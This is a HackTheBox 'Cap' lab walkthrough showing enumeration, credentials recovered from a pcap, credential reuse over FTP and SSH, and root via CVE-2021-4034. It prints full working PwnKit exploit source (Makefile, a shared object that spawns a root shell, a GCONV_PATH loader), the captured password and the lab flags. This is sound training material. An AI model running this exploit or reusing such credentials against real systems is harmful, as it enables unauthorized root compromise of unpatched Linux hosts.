Skip to main content

Command Palette

Search for a command to run...

HackTheBox Cap (Linux Room) — Full Walkthrough

Updated
6 min read

In this write-up, we walk through Cap, an easy-rated machine that demonstrates how sensitive data exposure and poor service configuration can lead to full system compromise.

The box highlights:

  • Packet capture analysis

  • Credential reuse

  • SSH access

  • Privilege escalation via CVE-2021-4034 (PwnKit)


Enumeration

Nmap Scan

┌──(unknown㉿kali)-[~/HTB/cap]
└─$ nmap -sVC -oN nmap.txt -v 10.129.8.9
# Nmap 7.95 scan initiated Sat Feb 28 16:02:21 2026 as: /usr/lib/nmap/nmap -sVC -oN nmap.txt -v 10.129.8.9
Nmap scan report for cap.htb (10.129.8.9)
Host is up (0.64s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)

80/tcp open  http    Gunicorn
|_http-server-header: gunicorn
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-title: Security Dashboard
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Key Findings:

  • FTP (21)

  • SSH (22)

  • HTTP (80) running Gunicorn

  • Linux system


Port 80 — HTTP Enumeration

While browsing the site, we discovered a page that allows changing the ID parameter:

http://cap.htb/data/2

After modifying the ID multiple times, we noticed that id=0 returns downloadable packet capture data.

We downloaded the .pcap file and analyzed it using Wireshark.


Wireshark Analysis

Upon inspecting the traffic, we found FTP communication in cleartext.

FTP Password

We can clearly see:

PASS Buck3tH4TF0RM3!

FTP Username

We also see:

USER nathan

So we successfully captured:

nathan:Buck3tH4TF0RM3!

Using The new creds obtained, lets access ftp

Port 21 — FTP Access

┌──(unknown㉿kali)-[~/HTB/cap]
└─$ cat creds             
nathan:Buck3tH4TF0RM3!
┌──(unknown㉿kali)-[~/HTB/cap]
└─$ ftp cap.htb
Connected to cap.htb.
220 (vsFTPd 3.0.3)
Name (cap.htb:unknown): nathan
331 Please specify the password.
Password: 

230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 

We are in.


Finding the User Flag

ftp> ls
229 Entering Extended Passive Mode (|||55903|)
150 Here comes the directory listing.
-r--------    1 1001     1001           33 Mar 01 11:11 user.txt
226 Directory send OK.
ftp> get user.txt
┌──(unknown㉿kali)-[~/HTB/cap]
└─$  cat user.txt 
609a7a7b20ae3ea0d6d2634af597eded

User flag obtained.


Port 22 — SSH Access

Since credentials worked for FTP, we attempted SSH login using the same credentials.

┌──(unknown㉿kali)-[~]
└─$ ssh nathan@cap.htb  

Login successful.

nathan@cap:~$ id
uid=1001(nathan) gid=1001(nathan) groups=1001(nathan)

Now it’s time for privilege escalation.


Privilege Escalation

Linpeas

Lets transfer linpeas to the target machine to see how we can escalate privs

                                                                                               
┌──(unknown㉿kali)-[~/HTB/cap]
└─$ cp /usr/share/peass/linpeas/linpeas.sh .
                                                                                                
┌──(unknown㉿kali)-[~/HTB/cap]
└─$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Downloaded it on target machine and executed:

nathan@cap:/$ cd /home/nathan
nathan@cap:~$ ls
user.txt
nathan@cap:~$ wget http://10.10.16.215/linpeas.sh
--2026-03-01 11:58:35--  http://10.10.16.215/linpeas.sh
Connecting to 10.10.16.215:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 971926 (949K) [application/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh              100<a class="embed-card" href="===============================&gt;">===============================&gt;</a> 949.15K   202KB/s    in 5.3s    

2026-03-01 11:58:41 (181 KB/s) - ‘linpeas.sh’ saved [971926/971926]

nathan@cap:~$ chmod +x linpeas.sh 
nathan@cap:~$ ./linpeas.sh

CVE-2021-4034 — PwnKit

Linpeas revealed:

nathan@cap:~$ ls -al /usr/bin/pkexec
-rwsr-xr-x 1 root root 31032 Aug 16  2019 /usr/bin/pkexec

pkexec is:

  • SUID

  • Running as root

  • Vulnerable version (0.105)

This is the well-known PwnKit vulnerability, which allows local privilege escalation to root by exploiting improper argument handling in pkexec.

To better understand the vulnerability and follow along with the exploitation process, the following resources were used:

These references explain:

  • What PwnKit is

  • Why pkexec is vulnerable

  • How environment variable manipulation leads to privilege escalation


Preparing the Exploit

Notice the exploit code is present on the page. (https://packetstorm.news/files/id/165739 )

We will save the exploit code into individual files.

  • Save the code corresponding to Makefile, evil-so.c, and exploit.c into their respective files:
┌──(unknown㉿kali)-[~/HTB/cap]
└─$ cat makefile
##### Makefile #####

all:
     gcc -shared -o evil.so -fPIC evil-so.c
     gcc exploit.c -o exploit

clean:
     rm -r ./GCONV_PATH=. && rm -r ./evildir && rm exploit && rm evil.so

#################
┌──(unknown㉿kali)-[~/HTB/cap]
└─$ cat evil-so.c 
##### evil-so.c #####

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void gconv() {}

void gconv_init() {
    setuid(0);
    setgid(0);
    setgroups(0);

    execve("/bin/sh", NULL, NULL);
}

#################
┌──(unknown㉿kali)-[~/HTB/cap]
└─$ cat exploit.c 

##### exploit.c #####

#include <stdio.h>
#include <stdlib.h>

#define BIN "/usr/bin/pkexec"
#define DIR "evildir"
#define EVILSO "evil"

int main()
{
    char *envp[] = {
        DIR,
        "PATH=GCONV_PATH=.",
        "SHELL=ryaagard",
        "CHARSET=ryaagard",
        NULL
    };
    char *argv[] = { NULL };

    system("mkdir GCONV_PATH=.");
    system("touch GCONV_PATH=./" DIR " && chmod 777 GCONV_PATH=./" DIR);
    system("mkdir " DIR);
    system("echo 'module\tINTERNAL\t\t\tryaagard//\t\t\t" EVILSO "\t\t\t2' > " DIR "/gconv-modules");
    system("cp " EVILSO ".so " DIR);

    execve(BIN, argv, envp);

    return 0;
}

#################

⚠ Note:

I kept the hashtags only to show how it is structured. You should remove them before running make all, otherwise it will produce an error.


Compiling the Exploit

Now we compile the exploit:

nathan@cap:~/exploit$ make all
gcc -shared -o evil.so -fPIC evil-so.c
evil-so.c: In function ‘gconv_init’:
evil-so.c:10:5: warning: implicit declaration of function ‘setgroups’; did you mean ‘getgroups’? [-Wimplicit-function-declaration]
   10 |     setgroups(0);
      |     ^~~~~~~~~
      |     getgroups
evil-so.c:12:5: warning: null argument where non-null required (argument 2) [-Wnonnull]
   12 |     execve("/bin/sh", NULL, NULL);
      |     ^~~~~~
gcc exploit.c -o exploit
exploit.c: In function ‘main’:
exploit.c:25:5: warning: implicit declaration of function ‘execve’ [-Wimplicit-function-declaration]
   25 |     execve(BIN, argv, envp);
      |     ^~~~~~
nathan@cap:~/exploit$ ls
evil-so.c  evil.so  exploit  exploit.c  makefile

The warnings are expected and do not prevent the exploit from working.

We now have:

  • evil.so (malicious shared object)

  • exploit (compiled exploit binary)


Gaining Root Access

Before running the exploit:

nathan@cap:~/exploit$ id
uid=1001(nathan) gid=1001(nathan) groups=1001(nathan)

Now we execute it:

nathan@cap:~/exploit$ ./exploit
# id
uid=0(root) gid=0(root) groups=0(root)

We are root.


Root Flag

root@cap:/root# cat root.txt
ffe248e467882e5444397f622891bd3e

This was a relatively easy box, but it demonstrates an important real-world lesson:

  • Exposed packet captures can leak credentials

  • FTP transmits credentials in cleartext

  • Credential reuse across services increases impact

  • Unpatched SUID binaries (like pkexec) can lead to full system compromise

Even simple misconfigurations can result in complete takeover when chained together properly.


After reading a few other writeup's regarding this box, there is another SUID binary that is vulnerable as well (python3) which would probably be easier to exploit by checking GTFOBins. This is just the method i went for, both are fine.